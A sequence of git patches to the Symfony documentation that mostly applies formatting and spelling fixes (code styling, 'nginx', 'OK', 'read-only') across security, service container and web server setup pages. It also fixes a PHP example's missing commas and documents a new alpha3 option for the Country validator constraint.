index 0e5fd218c61..1156276f928 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -98,33 +98,33 @@ the request method.  Remember, the first rule that matches is used, and if
 ``ips``, ``host`` or ``methods`` are not specified for an entry, that
 ``access_control`` will match any ``ips``, ``host`` or ``methods``:
 
-+-----------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| URI             | IP          | HOST        | METHOD     | ``access_control``             | Why?                                                        |
-+=================+=============+=============+============+================================+=============================================================+
-| ``/admin/user`` | 127.0.0.1   | example.com | GET        | rule #1 (``ROLE_USER_IP``)     | The URI matches ``path`` and the IP matches ``ip``.         |
-+-----------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 127.0.0.1   | symfony.com | GET        | rule #1 (``ROLE_USER_IP``)     | The ``path`` and ``ip`` still match. This would also match  |
-|                 |             |             |            |                                | the ``ROLE_USER_HOST`` entry, but *only* the **first**      |
-|                 |             |             |            |                                | ``access_control`` match is used.                           |
-+-----------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | symfony.com | GET        | rule #2 (``ROLE_USER_HOST``)   | The ``ip`` doesn't match the first rule, so the second      |
-|                 |             |             |            |                                | rule (which matches) is used.                               |
-+-----------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | symfony.com | POST       | rule #2 (``ROLE_USER_HOST``)   | The second rule still matches. This would also match the    |
-|                 |             |             |            |                                | third rule (``ROLE_USER_METHOD``), but only the **first**   |
-|                 |             |             |            |                                | matched ``access_control`` is used.                         |
-+-----------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | example.com | POST       | rule #3 (``ROLE_USER_METHOD``) | The ``ip`` and ``host`` don't match the first two entries,  |
-|                 |             |             |            |                                | but the third - ``ROLE_USER_METHOD`` - matches and is used. |
-+-----------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | example.com | GET        | rule #4 (``ROLE_MANAGER``)     | The ``ip``, ``host`` and ``method`` prevent the first       |
-|                 |             |             |            |                                | three entries from matching. But since the URI matches the  |
-|                 |             |             |            |                                | ``path`` pattern, then the ``ROLE_MANAGER`` (or the         |
-|                 |             |             |            |                                | ``ROLE_ADMIN``) is used.                                    |
-+-----------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/foo``        | 127.0.0.1   | symfony.com | POST       | matches no entries             | This doesn't match any ``access_control`` rules, since its  |
-|                 |             |             |            |                                | URI doesn't match any of the ``path`` values.               |
-+-----------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
++-----------------+-------------+-----------------+------------+--------------------------------+-------------------------------------------------------------+
+| URI             | IP          | HOST            | METHOD     | ``access_control``             | Why?                                                        |
++=================+=============+=================+============+================================+=============================================================+
+| ``/admin/user`` | 127.0.0.1   | ``example.com`` | GET        | rule #1 (``ROLE_USER_IP``)     | The URI matches ``path`` and the IP matches ``ip``.         |
++-----------------+-------------+-----------------+------------+--------------------------------+-------------------------------------------------------------+
+| ``/admin/user`` | 127.0.0.1   | ``symfony.com`` | GET        | rule #1 (``ROLE_USER_IP``)     | The ``path`` and ``ip`` still match. This would also match  |
+|                 |             |                 |            |                                | the ``ROLE_USER_HOST`` entry, but *only* the **first**      |
+|                 |             |                 |            |                                | ``access_control`` match is used.                           |
++-----------------+-------------+-----------------+------------+--------------------------------+-------------------------------------------------------------+
+| ``/admin/user`` | 168.0.0.1   | ``symfony.com`` | GET        | rule #2 (``ROLE_USER_HOST``)   | The ``ip`` doesn't match the first rule, so the second      |
+|                 |             |                 |            |                                | rule (which matches) is used.                               |
++-----------------+-------------+-----------------+------------+--------------------------------+-------------------------------------------------------------+
+| ``/admin/user`` | 168.0.0.1   | ``symfony.com`` | POST       | rule #2 (``ROLE_USER_HOST``)   | The second rule still matches. This would also match the    |
+|                 |             |                 |            |                                | third rule (``ROLE_USER_METHOD``), but only the **first**   |
+|                 |             |                 |            |                                | matched ``access_control`` is used.                         |
++-----------------+-------------+-----------------+------------+--------------------------------+-------------------------------------------------------------+
+| ``/admin/user`` | 168.0.0.1   | ``example.com`` | POST       | rule #3 (``ROLE_USER_METHOD``) | The ``ip`` and ``host`` don't match the first two entries,  |
+|                 |             |                 |            |                                | but the third - ``ROLE_USER_METHOD`` - matches and is used. |
++-----------------+-------------+-----------------+------------+--------------------------------+-------------------------------------------------------------+
+| ``/admin/user`` | 168.0.0.1   | ``example.com`` | GET        | rule #4 (``ROLE_MANAGER``)     | The ``ip``, ``host`` and ``method`` prevent the first       |
+|                 |             |                 |            |                                | three entries from matching. But since the URI matches the  |
+|                 |             |                 |            |                                | ``path`` pattern, then the ``ROLE_MANAGER`` (or the         |
+|                 |             |                 |            |                                | ``ROLE_ADMIN``) is used.                                    |
++-----------------+-------------+-----------------+------------+--------------------------------+-------------------------------------------------------------+
+| ``/foo``        | 127.0.0.1   | ``symfony.com`` | POST       | matches no entries             | This doesn't match any ``access_control`` rules, since its  |
+|                 |             |                 |            |                                | URI doesn't match any of the ``path`` values.               |
++-----------------+-------------+-----------------+------------+--------------------------------+-------------------------------------------------------------+
 
 .. caution::
 
diff --git a/security/acl.rst b/security/acl.rst
index f69d3cb3845..d5a2343e18d 100644
--- a/security/acl.rst
+++ b/security/acl.rst
@@ -245,7 +245,7 @@ added above::
     $identity = new UserSecurityIdentity('johannes', 'AppBundle\Entity\User');
     $acl->insertObjectAce($identity, $mask);
 
-The user is now allowed to view, edit, delete, and un-delete objects.
+The user is now allowed to view, edit, delete, and undelete objects.
 
 .. _`Symfony ACL bundle`: https://github.com/symfony/acl-bundle
 .. _`MongoDBAclBundle`: https://github.com/IamPersistent/MongoDBAclBundle
diff --git a/security/api_key_authentication.rst b/security/api_key_authentication.rst
index 49456de21cf..00693f49ea6 100644
--- a/security/api_key_authentication.rst
+++ b/security/api_key_authentication.rst
@@ -101,14 +101,14 @@ value and then a User object is created::
     }
 
 Once you've :ref:`configured <security-api-key-config>` everything,
-you'll be able to authenticate by adding an apikey parameter to the query
+you'll be able to authenticate by adding an ``apikey`` parameter to the query
 string, like ``http://example.com/api/foo?apikey=37b51d194a7513e45b56f6524f2d51f2``.
 
 The authentication process has several steps, and your implementation will
 probably differ:
 
-1. createToken
-~~~~~~~~~~~~~~
+1. ``createToken()``
+~~~~~~~~~~~~~~~~~~~~
 
 Early in the request cycle, Symfony calls ``createToken()``. Your job here
 is to create a token object that contains all of the information from the
@@ -127,13 +127,13 @@ method, if any.
     firewall. This way Symfony executes the anonymous authentication provider
     and you'll get an ``AnonymousToken``.
 
-2. supportsToken
-~~~~~~~~~~~~~~~~
+2. ``supportsToken()``
+~~~~~~~~~~~~~~~~~~~~~~
 
 .. include:: _supportsToken.rst.inc
 
-3. authenticateToken
-~~~~~~~~~~~~~~~~~~~~
+3. ``authenticateToken()``
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If ``supportsToken()`` returns ``true``, Symfony will now call ``authenticateToken()``.
 One key part is the ``$userProvider``, which is an external class that helps
diff --git a/security/custom_password_authenticator.rst b/security/custom_password_authenticator.rst
index 19556c45de8..547baa0c1f4 100644
--- a/security/custom_password_authenticator.rst
+++ b/security/custom_password_authenticator.rst
@@ -105,8 +105,8 @@ How it Works
 Great! Now you just need to setup some :ref:`security-password-authenticator-config`.
 But first, you can find out more about what each method in this class does.
 
-1) createToken
-~~~~~~~~~~~~~~
+1) ``createToken()``
+~~~~~~~~~~~~~~~~~~~~
 
 When Symfony begins handling a request, ``createToken()`` is called, where
 you create a :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface`
@@ -115,13 +115,13 @@ to authenticate the user (e.g. the username and password).
 
 Whatever token object you create here will be passed to you later in ``authenticateToken()``.
 
-2) supportsToken
-~~~~~~~~~~~~~~~~
+2) ``supportsToken()``
+~~~~~~~~~~~~~~~~~~~~~~
 
 .. include:: _supportsToken.rst.inc
 
-3) authenticateToken
-~~~~~~~~~~~~~~~~~~~~
+3) ``authenticateToken()``
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If ``supportsToken()`` returns ``true``, Symfony will now call ``authenticateToken()``.
 Your job here is to check that the token is allowed to log in by first
diff --git a/security/custom_provider.rst b/security/custom_provider.rst
index 161dbd96570..f4e69c68132 100644
--- a/security/custom_provider.rst
+++ b/security/custom_provider.rst
@@ -186,7 +186,7 @@ Modify ``security.yml``
 
 Everything comes together in your security configuration. Add the user provider
 to the list of providers in the "security" section. Choose a name for the user provider
-(e.g. "webservice") and mention the ``id`` of the service you just defined.
+(e.g. ``webservice``) and mention the ``id`` of the service you just defined.
 
 .. configuration-block::
 
diff --git a/security/ldap.rst b/security/ldap.rst
index 5493ba1d138..2b73e3a9f3b 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -201,8 +201,8 @@ use the ``ldap`` user provider.
 
 The ``ldap`` user provider supports many different configuration options:
 
-service
-.......
+``service``
+...........
 
 **type**: ``string`` **default**: ``ldap``
 
@@ -210,31 +210,31 @@ This is the name of your configured LDAP client. You can freely choose the
 name, but it must be unique in your application and it cannot start with a
 number or contain white spaces.
 
-base_dn
-.......
+``base_dn``
+...........
 
 **type**: ``string`` **default**: ``null``
 
 This is the base DN for the directory
 
-search_dn
-.........
+``search_dn``
+.............
 
 **type**: ``string`` **default**: ``null``
 
 This is your read-only user's DN, which will be used to authenticate
 against the LDAP server in order to fetch the user's information.
 
-search_password
-...............
+``search_password``
+...................
 
 **type**: ``string`` **default**: ``null``
 
 This is your read-only user's password, which will be used to authenticate
 against the LDAP server in order to fetch the user's information.
 
-default_roles
-.............
+``default_roles``
+.................
 
 **type**: ``array`` **default**: ``[]``
 
@@ -242,8 +242,8 @@ This is the default role you wish to give to a user fetched from the LDAP
 server. If you do not configure this key, your users won't have any roles,
 and will not be considered as authenticated fully.
 
-uid_key
-.......
+``uid_key``
+...........
 
 **type**: ``string`` **default**: ``sAMAccountName``
 
@@ -254,8 +254,8 @@ implementation. Commonly used values are:
 * ``userPrincipalName``
 * ``uid``
 
-filter
-......
+``filter``
+..........
 
 **type**: ``string`` **default**: ``({uid_key}={username})``
 
diff --git a/service_container.rst b/service_container.rst
index d65bd472622..0513559aaf9 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -175,7 +175,7 @@ each time you ask for it.
 
 .. _service-container-services-load-example:
 
-.. sidebar:: Automatic Service Loading in services.yml
+.. sidebar:: Automatic Service Loading in ``services.yml``
 
     The documentation assumes you're using
     `Symfony Standard Edition (version 3.3) services.yml`_ configuration. The most
@@ -336,12 +336,12 @@ This is just a small subset of the output:
 =============================================================== =====================================
 Service ID                                                      Class name
 =============================================================== =====================================
-``Psr\Cache\CacheItemPoolInterface``                            alias for "cache.app.recorder"
-``Psr\Log\LoggerInterface``                                     alias for "monolog.logger"
-``Symfony\Component\EventDispatcher\EventDispatcherInterface``  alias for "debug.event_dispatcher"
-``Symfony\Component\HttpFoundation\RequestStack``               alias for "request_stack"
-``Symfony\Component\HttpFoundation\Session\SessionInterface``   alias for "session"
-``Symfony\Component\Routing\RouterInterface``                   alias for "router.default"
+``Psr\Cache\CacheItemPoolInterface``                            alias for ``cache.app.recorder``
+``Psr\Log\LoggerInterface``                                     alias for ``monolog.logger``
+``Symfony\Component\EventDispatcher\EventDispatcherInterface``  alias for ``debug.event_dispatcher``
+``Symfony\Component\HttpFoundation\RequestStack``               alias for ``request_stack``
+``Symfony\Component\HttpFoundation\Session\SessionInterface``   alias for ``session``
+``Symfony\Component\Routing\RouterInterface``                   alias for ``router.default``
 =============================================================== =====================================
 
 Handling Multiple Services
@@ -443,6 +443,8 @@ example, suppose you want to make the admin email configurable:
 
 If you make this change and refresh, you'll see an error:
 
+.. code-block:: text
+
     Cannot autowire service "AppBundle\Updates\SiteUpdateManager": argument "$adminEmail"
     of method "__construct()" must have a type-hint or be given a value explicitly.
 
@@ -898,7 +900,7 @@ from the container::
         $this->container->get(MessageGenerator::class);
     }
 
-Usually, this is ok: there are better ways to access a service. But, if you *do*
+Usually, this is OK: there are better ways to access a service. But, if you *do*
 need to make your service public, just override this setting:
 
 .. configuration-block::
diff --git a/service_container/3.3-di-changes.rst b/service_container/3.3-di-changes.rst
index 387b26c3455..3eb90241982 100644
--- a/service_container/3.3-di-changes.rst
+++ b/service_container/3.3-di-changes.rst
@@ -24,8 +24,8 @@ need to actually change your configuration files to use them.
 
 .. _`service-33-default_definition`:
 
-The new Default services.yml File
----------------------------------
+The new Default ``services.yml`` File
+-------------------------------------
 
 To understand the changes, look at the new default ``services.yml`` file in the
 Symfony Standard Edition:
@@ -159,7 +159,7 @@ automatically removed from the compiled container. This means that the number of
 services in your container should be the *same* whether your explicitly configure
 each service or load them all at once with this method.
 
-    Ok, but can I exclude some paths that I *know* won't contain services?
+    OK, but can I exclude some paths that I *know* won't contain services?
 
 Yes! The ``exclude`` key is a glob pattern that can be used to *blacklist* paths
 that you do *not* want to be included as services. But, since unused services are
@@ -264,13 +264,13 @@ which should be used for autowiring. For full details on the autowiring logic, s
     But what if I have a scalar (e.g. string) argument? How does it autowire that?
 
 If you have an argument that is *not* an object, it can't be autowired. But that's
-ok! Symfony will give you a clear exception (on the next refresh of *any* page) telling
+OK! Symfony will give you a clear exception (on the next refresh of *any* page) telling
 you which argument of which service could not be autowired. To fix it, you can
 :ref:`manually configure *just* that one argument <services-manually-wire-args>`.
 This is the philosophy of autowiring: only configure the parts that you need to.
 Most configuration is automated.
 
-    Ok, but autowiring makes your applications less stable. If you change one thing
+    OK, but autowiring makes your applications less stable. If you change one thing
     or make a mistake, unexpected things might happen. Isn't that a problem?
 
 Symfony has always valued stability, security and predictability first. Autowiring
@@ -429,8 +429,8 @@ Many autoconfigured tags have an optional priority. If you need to specify a pri
 (or any other optional tag attribute), no problem! Just :ref:`manually configure your service <services-manually-wire-args>`
 and add the tag. Your tag will take precedence over the one added by auto-configuration.
 
-5) Auto-configure with _instanceof
-----------------------------------
+5) Auto-configure with ``_instanceof``
+--------------------------------------
 
 And the final big change is ``_instanceof``. It acts as a default definition
 template (see `service-33-default_definition`_), but only for services whose
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 7aa88ec11bf..617c896e51c 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -349,7 +349,7 @@ Now you can use the service locator by injecting it in any other service:
 In :doc:`compiler passes </service_container/compiler_passes>` it's recommended
 to use the :method:`Symfony\\Component\\DependencyInjection\\Compiler\\ServiceLocatorTagPass::register`
 method to create the service locators. This will save you some boilerplate and
-will share identical locators amongst all the services referencing them::
+will share identical locators among all the services referencing them::
 
     use Symfony\Component\DependencyInjection\Compiler\ServiceLocatorTagPass;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
diff --git a/service_container/tags.rst b/service_container/tags.rst
index eb21f03b3e9..a52153d323a 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -434,7 +434,7 @@ use this, update the compiler::
 
 The double loop may be confusing. This is because a service can have more
 than one tag. You tag a service twice or more with the ``app.mail_transport``
-tag. The second foreach loop iterates over the ``app.mail_transport``
+tag. The second ``foreach`` loop iterates over the ``app.mail_transport``
 tags set for the current service and gives you the attributes.
 
 Reference Tagged Services
diff --git a/session/proxy_examples.rst b/session/proxy_examples.rst
index 3a731077ce6..e8b3d84b6a4 100644
--- a/session/proxy_examples.rst
+++ b/session/proxy_examples.rst
@@ -55,7 +55,7 @@ Symfony to use your session handler instead of the default one:
         ]);
 
 Keep reading the next sections to learn how to use the session handlers in practice
-to solve two common use cases: encrypt session information and define readonly
+to solve two common use cases: encrypt session information and define read-only
 guest sessions.
 
 Encryption of Session Data
@@ -98,8 +98,8 @@ library, but you can adapt it to any other library that you may be using::
         }
     }
 
-Readonly Guest Sessions
------------------------
+Read-only Guest Sessions
+------------------------
 
 There are some applications where a session is required for guest users, but
 where there is no particular need to persist the session. In this case you
diff --git a/setup.rst b/setup.rst
index 496e908a955..3b879a5441d 100644
--- a/setup.rst
+++ b/setup.rst
@@ -161,7 +161,7 @@ Running the Symfony Application
 -------------------------------
 
 On production servers, Symfony applications use web servers such as Apache or
-Nginx (see :doc:`configuring a web server to run Symfony </setup/web_server_configuration>`).
+nginx (see :doc:`configuring a web server to run Symfony </setup/web_server_configuration>`).
 However, on your local development machine you can also use the web server
 provided by Symfony, which in turn uses the built-in web server provided by PHP.
 
@@ -191,7 +191,7 @@ pressing ``Ctrl+C`` from the terminal or command console.
 .. tip::
 
     Symfony's web server is great for developing, but should **not** be
-    used on production. Instead, use Apache or Nginx.
+    used on production. Instead, use Apache or nginx.
     See :doc:`/setup/web_server_configuration`.
 
 Checking Symfony Application Configuration and Setup
diff --git a/setup/_vendor_deps.rst.inc b/setup/_vendor_deps.rst.inc
index eb8e0d81e79..064822f596d 100644
--- a/setup/_vendor_deps.rst.inc
+++ b/setup/_vendor_deps.rst.inc
@@ -34,7 +34,7 @@ To upgrade your libraries to new versions, run ``composer update``.
 To learn more about Composer, see `GetComposer.org`_:
 
 It's important to realize that these vendor libraries are *not* actually part
-of *your* repository. Instead, they're simply un-tracked files that are downloaded
+of *your* repository. Instead, they're simply untracked files that are downloaded
 into the ``vendor/``. But since all the information needed to download these
 files is saved in ``composer.json`` and ``composer.lock`` (which *are* stored
 in the repository), any other developer can use the project, run ``composer install``,
diff --git a/setup/file_permissions.rst b/setup/file_permissions.rst
index 948b3fd1333..9a07fe06f85 100644
--- a/setup/file_permissions.rst
+++ b/setup/file_permissions.rst
@@ -66,7 +66,7 @@ following script to determine your web server user and grant the needed permissi
 4. Without Using ACL
 ~~~~~~~~~~~~~~~~~~~~
 
-If none of the previous methods work for you, change the umask so that the
+If none of the previous methods work for you, change the ``umask`` so that the
 cache and log directories are group-writable or world-writable (depending
 if the web server user and the command line user are in the same group or not).
 To achieve this, put the following line at the beginning of the ``bin/console``,
@@ -80,7 +80,7 @@ To achieve this, put the following line at the beginning of the ``bin/console``,
 
 .. note::
 
-    Changing the umask is not thread-safe, so the ACL methods are recommended
+    Changing the ``umask`` is not thread-safe, so the ACL methods are recommended
     when they are available.
 
 .. _`enable ACL support`: https://help.ubuntu.com/community/FilePermissionsACLs
diff --git a/setup/flex.rst b/setup/flex.rst
index 6bfac9804f5..cb969279485 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -31,7 +31,7 @@ If you execute that command in a Symfony application which doesn't use Flex,
 you'll see a Composer error explaining that ``mailer`` is not a valid package
 name. However, if the application has Symfony Flex installed, that command ends
 up installing and enabling the SwiftmailerBundle, which is the best way to
-integrate Swiftmailer, the official mailer for Symfony applications.
+integrate Swift Mailer, the official mailer for Symfony applications.
 
 When Symfony Flex is installed in the application and you execute ``composer
 require``, the application makes a request to the Symfony Flex server before
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 5208f283159..b1664ddb2f2 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -172,7 +172,7 @@ local IP. However, sometimes it is preferable to associate a domain name to them
 * It's more convenient when you work continuously on the same project because
   port numbers can change but domains don't;
 * The behavior of some applications depend on their domains/subdomains;
-* To have stable endpoints, such as the local redirection URL for Oauth2.
+* To have stable endpoints, such as the local redirection URL for OAuth2.
 
 Setting up the Local Proxy
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -304,7 +304,7 @@ RabbitMQ      5672      ``RABBITMQ_`` (set user and pass via Docker ``RABBITMQ_D
 Elasticsearch 9200      ``ELASTICSEARCH_``
 MongoDB       27017     ``MONGODB_`` (set the database via a Docker ``MONGO_DATABASE`` env var)
 Kafka         9092      ``KAFKA_``
-Mailcatcher   1025/1080 ``MAILER_``
+MailCatcher   1025/1080 ``MAILER_``
               or 25/80
 Blackfire     8707      ``BLACKFIRE_``
 ============= ========= ======================
diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index b7dc2e9b373..5fc2eea3c32 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -9,12 +9,12 @@ The preferred way to develop your Symfony application is to use
 
 However, when running the application in the production environment, you'll need
 to use a fully-featured web server. This article describes several ways to use
-Symfony with Apache or Nginx.
+Symfony with Apache or nginx.
 
 When using Apache, you can configure PHP as an
 :ref:`Apache module <web-server-apache-mod-php>` or with FastCGI using
 :ref:`PHP FPM <web-server-apache-fpm>`. FastCGI also is the preferred way
-to use PHP :ref:`with Nginx <web-server-nginx>`.
+to use PHP :ref:`with nginx <web-server-nginx>`.
 
 .. sidebar:: The Web Directory
 
@@ -32,8 +32,8 @@ to use PHP :ref:`with Nginx <web-server-nginx>`.
 
 .. _web-server-apache-mod-php:
 
-Apache with mod_php/PHP-CGI
----------------------------
+Apache with ``mod_php``/PHP-CGI
+-------------------------------
 
 The **minimum configuration** to get your application running under Apache is:
 
@@ -103,7 +103,7 @@ and increase web server performance:
 
 .. tip::
 
-    If you are using **php-cgi**, Apache does not pass HTTP basic username and
+    If you are using ``php-cgi``, Apache does not pass HTTP basic username and
     password to PHP by default. To work around this limitation, you should use
     the following configuration snippet:
 
@@ -111,8 +111,8 @@ and increase web server performance:
 
         RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
 
-Using mod_php/PHP-CGI with Apache 2.4
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Using ``mod_php``/PHP-CGI with Apache 2.4
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In Apache 2.4, ``Order Allow,Deny`` has been replaced by ``Require all granted``.
 Hence, you need to modify your ``Directory`` permission settings as follows:
@@ -154,8 +154,8 @@ listen on. Each pool can also be run under a different UID and GID:
     ; or listen on a TCP socket
     listen = 127.0.0.1:9000
 
-Using mod_proxy_fcgi with Apache 2.4
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Using ``mod_proxy_fcgi`` with Apache 2.4
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you are running Apache 2.4, you can use ``mod_proxy_fcgi`` to pass incoming
 requests to PHP-FPM. Configure PHP-FPM to listen on a TCP or Unix socket, enable
@@ -251,10 +251,10 @@ instead:
 
 .. _web-server-nginx:
 
-Nginx
+nginx
 -----
 
-The **minimum configuration** to get your application running under Nginx is:
+The **minimum configuration** to get your application running under nginx is:
 
 .. code-block:: nginx
 
@@ -321,7 +321,7 @@ The **minimum configuration** to get your application running under Nginx is:
 .. tip::
 
     This executes **only** ``app.php``, ``app_dev.php`` and ``config.php`` in
-    the web directory. All other files ending in ".php" will be denied.
+    the web directory. All other files ending in ``.php`` will be denied.
 
     If you have other PHP files in your web directory that need to be executed,
     be sure to include them in the ``location`` block above.
@@ -337,10 +337,10 @@ The **minimum configuration** to get your application running under Nginx is:
     By default, Symfony applications include several ``.htaccess`` files to
     configure redirections and to prevent unauthorized access to some sensitive
     directories. Those files are only useful when using Apache, so you can
-    safely remove them when using Nginx.
+    safely remove them when using nginx.
 
-For advanced Nginx configuration options, read the official `Nginx documentation`_.
+For advanced nginx configuration options, read the official `nginx documentation`_.
 
 .. _`Apache documentation`: https://httpd.apache.org/docs/
 .. _`FastCgiExternalServer`: https://docs.oracle.com/cd/B31017_01/web.1013/q20204/mod_fastcgi.html#FastCgiExternalServer
-.. _`Nginx documentation`: https://www.nginx.com/resources/wiki/start/topics/recipes/symfony/
+.. _`nginx documentation`: https://www.nginx.com/resources/wiki/start/topics/recipes/symfony/
diff --git a/templating/hinclude.rst b/templating/hinclude.rst
index 8a67a7c4f80..5f282f61f69 100644
--- a/templating/hinclude.rst
+++ b/templating/hinclude.rst
@@ -1,10 +1,10 @@
 .. index::
     single: Templating; hinclude.js
 
-How to Embed Asynchronous Content with hinclude.js
-==================================================
+How to Embed Asynchronous Content with HInclude
+===============================================
 
-Controllers can be embedded asynchronously using the `hinclude.js`_ JavaScript library.
+Controllers can be embedded asynchronously using the `HInclude`_ JavaScript library.
 As the embedded content comes from another page (or controller for that matter),
 Symfony uses a version of the standard ``render()`` function to configure ``hinclude``
 tags:
@@ -16,7 +16,7 @@ tags:
 
 .. note::
 
-    hinclude.js_ needs to be included in your page to work.
+    HInclude_ needs to be included in your page to work.
 
 .. note::
 
@@ -112,4 +112,4 @@ Or you can also specify a string to display as the default content:
 
     {{ render_hinclude(controller('...'), {'default': 'Loading...'}) }}
 
-.. _`hinclude.js`: http://mnot.github.io/hinclude/
+.. _`HInclude`: http://mnot.github.io/hinclude/
diff --git a/web_link.rst b/web_link.rst
index 0463f35e4f2..d1a59c1373e 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -18,7 +18,7 @@ with HTTP 1.x:
 
 Something important to consider is that all these HTTP/2 features require a
 secure HTTPS connection, even when working on your local machine. The main web
-servers (Apache, Nginx, Caddy, etc.) support this, but you can also use the
+servers (Apache, nginx, Caddy, etc.) support this, but you can also use the
 `Docker installer and runtime for Symfony`_ created by Kévin Dunglas, from the
 Symfony community.
 

From ba7f2fd4d50d31c53741ceb312b8bb29d692e36b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Sat, 4 Jan 2020 15:07:47 +0100
Subject: [PATCH 0151/7107] some spelling updates

---
 contributing/documentation/overview.rst | 2 +-
 create_framework/introduction.rst       | 2 +-
 setup/built_in_web_server.rst           | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 0a000dec71c..ff53a627287 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -292,7 +292,7 @@ Why Do my Changes Take so Long to Be Reviewed and/or Merged?
 
 Please be patient. It can take up to several days before your pull request can
 be fully reviewed. After merging the changes, it could take again several hours
-before your changes appear on the ``symfony.com`` website.
+before your changes appear on the Symfony website.
 
 Why Should I Use the Oldest Maintained Branch Instead of the Master Branch?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/create_framework/introduction.rst b/create_framework/introduction.rst
index d4d9742fee9..fa6fe080164 100644
--- a/create_framework/introduction.rst
+++ b/create_framework/introduction.rst
@@ -62,7 +62,7 @@ Before You Start
 Reading about how to create a framework is not enough. You will have to follow
 along and actually type all the examples included in this tutorial. For that,
 you need a recent version of PHP (5.5.9 or later is good enough), a web server
-(like Apache, NGINX or PHP's built-in web server), a good knowledge of PHP and
+(like Apache, nginx or PHP's built-in web server), a good knowledge of PHP and
 an understanding of Object Oriented programming.
 
 Ready to go? Read on!
diff --git a/setup/built_in_web_server.rst b/setup/built_in_web_server.rst
index ee483cb1491..2e5a9f24156 100644
--- a/setup/built_in_web_server.rst
+++ b/setup/built_in_web_server.rst
@@ -7,7 +7,7 @@ How to Use PHP's built-in Web Server
 The PHP CLI SAPI comes with a `built-in web server`_. It can be used to run your
 PHP applications locally during development, for testing or for application
 demonstrations. This way, you don't have to bother configuring a full-featured
-web server such as :doc:`Apache or Nginx </setup/web_server_configuration>`.
+web server such as :doc:`Apache or nginx </setup/web_server_configuration>`.
 
 .. tip::
 

From 2f2d84b5a33332e5f61433a2c15fbea6fc6374ff Mon Sep 17 00:00:00 2001
From: Urs Kobald <urskobald@gmail.com>
Date: Sun, 5 Jan 2020 09:39:25 +0100
Subject: [PATCH 0152/7107] Fix code example for definitionList.

---
 console/style.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/console/style.rst b/console/style.rst
index 5dac6052669..dd981436e50 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -162,8 +162,8 @@ Content Methods
         $io->definitionList(
             'This is a title',
             ['foo1' => 'bar1'],
-            ['foo2' => 'bar2']
-            ['foo3' => 'bar3']
+            ['foo2' => 'bar2'],
+            ['foo3' => 'bar3'],
             new TableSeparator(),
             'This is another title',
             ['foo4' => 'bar4']

From 912a217e4ef9b3b65b0c055a4af59f0a23f1ffad Mon Sep 17 00:00:00 2001
From: "maxime.perrimond" <maxime.perrimond@zenport.io>
Date: Fri, 27 Dec 2019 15:24:13 +0900
Subject: [PATCH 0153/7107] [Validator] added alpha3 option to country
 constraint

---
 reference/constraints/Country.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index 4582a930cad..1dacfbae4c4 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -7,6 +7,7 @@ Validates that a value is a valid `ISO 3166-1 alpha-2`_ country code.
 Applies to  :ref:`property or method <validation-property-target>`
 Options     - `groups`_
             - `message`_
+            - `alpha3`_
             - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Country`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CountryValidator`
@@ -78,6 +79,15 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
+alpha3
+~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+If this option is ``true``, then the constraint will valid the value as
+`ISO 3166-1 alpha-3`_ three-letter codes (e.g. France = ``FRA``) instead
+of the default `ISO 3166-1 alpha-2`_ two-letter codes (e.g. France = ``FR``).
+
 ``message``
 ~~~~~~~~~~~
 
@@ -96,3 +106,5 @@ Parameter        Description
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes
